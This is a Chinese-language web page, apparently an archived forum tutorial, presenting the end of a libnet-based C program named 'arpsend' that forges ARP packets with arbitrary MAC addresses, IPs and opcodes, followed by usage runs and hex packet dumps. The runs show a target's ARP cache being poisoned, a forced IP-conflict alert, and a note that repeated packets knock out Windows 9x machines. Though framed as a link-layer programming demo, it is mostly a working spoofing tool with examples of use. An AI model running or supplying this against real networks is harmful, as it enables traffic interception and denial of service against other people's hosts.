📄 536.htm
字号:
} <br>
else <br>
{ <br>
*( pChar + n - 1 ) = '\0'; <br>
} <br>
return( pChar ); <br>
} /* end of Strncpy */ <br>
static void usage ( char * arg ) <br>
{ <br>
fprintf( stderr, " Usage: %s [--send sendMac] [--recv recvMac]\n\t" <br>
"[--si srcIp] [--di dstIp] [--sm srcMac] [--dm dstMac]\ <br>
n\t" <br>
"[--arpOp arpOp] [--num arpNumber]\n", arg ); <br>
exit( FAILURE ); <br>
} /* end of usage */ <br>
int main ( int argc, char * argv[] ) <br>
{ <br>
#define LONGOPTIONCHAR '-' <br>
/* 定义长选项 */ <br>
static struct option longOption[] = <br>
{ <br>
{ "send", 1, 0, LONGOPTIONCHAR }, /* 发送MAC */ <br>
{ "recv", 1, 0, LONGOPTIONCHAR }, /* 接收MAC */ <br>
{ "si", 1, 0, LONGOPTIONCHAR }, /* 源IP */ <br>
{ "di", 1, 0, LONGOPTIONCHAR }, /* 目标IP */ <br>
{ "sm", 1, 0, LONGOPTIONCHAR }, /* 源MAC */ <br>
{ "dm", 1, 0, LONGOPTIONCHAR }, /* 目标MAC */ <br>
{ "arpOp", 1, 0, LONGOPTIONCHAR }, /* ARP操作类型 */ <br>
{ "num", 1, 0, LONGOPTIONCHAR }, /* ARP报文数目 */ <br>
{ 0, 0, 0, 0 } <br>
}; <br>
int longOptionIndex = 0; /* 用于处理长选项 */ <br>
u_char sendMac[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF <br>
}; <br>
u_char recvMac[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF <br>
}; <br>
u_char srcMac[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF <br>
}; <br>
u_char dstMac[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF <br>
}; <br>
u_long srcIp = 0xffffffff; /* 源IP使用使用网络字节 <br>
序指 <br>
定 */ <br>
u_long dstIp = 0xffffffff; <br>
u_short arpOp = ARPOP_REPLY; /* little-endian 序 */ <br>
<br>
u_long arpNumber = DEFAULTARPNUMBER; /* ARP报文数目 <br>
*/ <br>
char tempString1[16] = ""; <br>
char tempString2[3] = ""; <br>
u_short tempUshort = 0; <br>
int c, i; <br>
u_long a; <br>
u_char * device; <br>
if ( argc == 1 ) <br>
{ <br>
usage( argv[0] ); <br>
} <br>
opterr = 0; /* don't want getopt() writing to stderr */ <br>
while ( ( c = getopt_long( argc, argv, "h", longOption, &longOptionIndex <br>
) <br>
) != EOF ) <br>
{ <br>
switch ( c ) <br>
{ <br>
case LONGOPTIONCHAR: /* 处理长选项 */ <br>
/* <br>
fprintf( stderr, "option %s", longOption[ longOptionIndex ].name <br>
); <br>
if ( optarg ) <br>
{ <br>
fprintf( stderr, " with arg %s", optarg ); <br>
} <br>
} <br>
fprintf( stderr, "\n" ); <br>
*/ <br>
if ( optarg ) <br>
{ <br>
switch ( longOptionIndex ) <br>
{ <br>
case 0: <br>
Strncpy( tempString1, optarg, 16 ); <br>
tempUshort = strlen( tempString1 ); <br>
if ( tempUshort == 12 ) <br>
{ <br>
tempString2[2] = '\0'; <br>
for ( i = 0; i < 6; i++ ) <br>
{ <br>
tempString2[0] = tempString1[ i << 1 ]; <br>
tempString2[1] = tempString1[ ( i << 1 ) + 1 ]; <br>
sendMac[ i ] = ( u_char )strtoul( tempString2, <br>
NUL <br>
L, 16 ); <br>
} /* end of for */ <br>
} <br>
break; <br>
case 1: <br>
Strncpy( tempString1, optarg, 16 ); <br>
tempUshort = strlen( tempString1 ); <br>
if ( tempUshort == 12 ) <br>
{ <br>
tempString2[2] = '\0'; <br>
for ( i = 0; i < 6; i++ ) <br>
{ <br>
tempString2[0] = tempString1[ i << 1 ]; <br>
tempString2[1] = tempString1[ ( i << 1 ) + 1 ]; <br>
recvMac[ i ] = ( u_char )strtoul( tempString2, <br>
NUL <br>
L, 16 ); <br>
} /* end of for */ <br>
} <br>
break; <br>
case 2: <br>
/* 返回值是big-endian序 */ <br>
srcIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE <br>
); <br>
if ( srcIp == -1 ) <br>
{ <br>
libnet_error( LIBNET_ERR_FATAL, "Bad srcIp: %s\n", o <br>
ptar <br>
g ); <br>
} <br>
break; <br>
case 3: <br>
/* 返回值是big-endian序 */ <br>
dstIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE <br>
); <br>
if ( dstIp == -1 ) <br>
{ <br>
/* 第一个参数为LIBNET_ERR_FATAL,会导致exit */ <br>
libnet_error( LIBNET_ERR_FATAL, "Bad dstIp: %s\n", o <br>
ptar <br>
g ); <br>
} <br>
break; <br>
case 4: <br>
Strncpy( tempString1, optarg, 16 ); <br>
tempUshort = strlen( tempString1 ); <br>
if ( tempUshort == 12 ) <br>
{ <br>
tempString2[2] = '\0'; <br>
for ( i = 0; i < 6; i++ ) <br>
{ <br>
tempString2[0] = tempString1[ i << 1 ]; <br>
tempString2[1] = tempString1[ ( i << 1 ) + 1 ]; <br>
srcMac[ i ] = ( u_char )strtoul( tempString2, <br>
NUL <br>
L, 16 ); <br>
} /* end of for */ <br>
} <br>
break; <br>
case 5: <br>
Strncpy( tempString1, optarg, 16 ); <br>
tempUshort = strlen( tempString1 ); <br>
if ( tempUshort == 12 ) <br>
{ <br>
tempString2[2] = '\0'; <br>
for ( i = 0; i < 6; i++ ) <br>
{ <br>
tempString2[0] = tempString1[ i << 1 ]; <br>
tempString2[1] = tempString1[ ( i << 1 ) + 1 ]; <br>
dstMac[ i ] = ( u_char )strtoul( tempString2, <br>
NUL <br>
L, 16 ); <br>
} /* end of for */ <br>
} <br>
break; <br>
case 6: <br>
arpOp = ( u_short )strtoul( optarg, NULL, 10 ); <br>
break; <br>
case 7: /* 采用10进制 */ <br>
arpNumber = ( u_long )strtoul( optarg, NULL, 10 ); <br>
if ( arpNumber == 0 ) <br>
{ <br>
fprintf( stderr, "Check your arpNumber\n" ); <br>
exit( FAILURE ); <br>
} <br>
break; <br>
default: <br>
break; <br>
} /* end of switch */ <br>
} <br>
break; <br>
case 'h': <br>
case '?': <br>
usage( argv[0] ); <br>
} /* end of switch */ <br>
} /* end of while */ <br>
Libnet_select_device( &device ); /* 选取接口设备 */ <br>
Libnet_init_packet( packet_size, &packet ); /* 分配内存并初始化成零 */ <br>
link_handler = Libnet_open_link_interface( device ); /* 打开链路层接口设 <br>
备 <br>
*/ <br>
libnet_build_ethernet( recvMac, sendMac, ETHERTYPE_ARP, NULL, 0, packet <br>
); <br>
libnet_build_arp( ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, arpOp, <br>
srcMac, ( u_char * )&srcIp, dstMac, ( u_char * )&dstIp <br>
, <br>
NULL, 0, packet + LIBNET_ETH_H ); <br>
for ( a = 0; a < arpNumber; a++ ) <br>
{ <br>
Libnet_write_link_layer( link_handler, device, packet, packet_size ) <br>
; <br>
} /* end of for */ <br>
Libnet_close_link_interface( link_handler ); /* 关闭链路层接口设备 */ <br>
libnet_destroy_packet( &packet ); /* 释放由libnet_init_packet()分配的内 <br>
存 * <br>
/ <br>
return( SUCCESS ); <br>
} /* end of main */ <br>
-------------------------------------------------------------------------- <br>
Usage: ./arpsend [--send sendMac] [--recv recvMac] <br>
[--si srcIp] [--di dstIp] [--sm srcMac] [--dm dstMac] <br>
[--arpOp arpOp] [--num arpNumber] <br>
-------------------------------------------------------------------------- <br>
从192.168.10.11 <--> 001051eeeeee 上执行如下操作: <br>
# ./arpsend --recv 000000111111 --si 192.168.10.5 --di 192.168.8.90 --sm 000 <br>
0002 <br>
22222 <br>
[ device --> eth0 ] <br>
# <br>
在192.168.8.90 <--> 000000111111 上执行arp -a看到: <br>
Internet Address Physical Address Type <br>
192.168.10.5 00-00-00-22-22-22 dynamic <br>
意味着192.168.8.90的ARP CACHE被动态刷新了。 <br>
# ./arpsend --recv 000000111111 --si 192.168.8.90 --sm 000000222222 <br>
将导致192.168.8.90报告IP冲突。如果指定--num 30,搞掉Pwin9x屏保没有任何问题。 <br>
<br>
# ./arpsend --recv 000000111111 --di 192.168.8.90 --sm 000000333333 --arpOp <br>
1 <br>
00 00 00 11 11 11 ff ff ff ff ff ff 08 06 00 01 <br>
08 00 06 04 00 01 00 00 00 33 33 33 ff ff ff ff <br>
ff ff ff ff ff ff c0 a8 08 5a 00 00 00 00 00 00 <br>
00 00 00 00 00 00 00 00 00 00 00 00 <br>
192.168.8.90收到5个伪装过的ARP请求报文,并响应以5个ARP响应报文,响应报文描 <br>
述如下: <br>
00 00 00 33 33 33 00 00 00 11 11 11 08 06 00 01 <br>
08 00 06 04 00 02 00 00 00 11 11 11 c0 a8 08 5a <br>
00 00 00 33 33 33 ff ff ff ff <br>
-------------------------------------------------------------------------- <br>
程序本身很没意思,主要是给出一个libnet链路层编程的感性认识,显然在以后的应 <br>
用中会用到这里演示的某些技术。 <br>
<待续> <br>
-- <br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="519.htm">上一层</a>][<a href="537.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -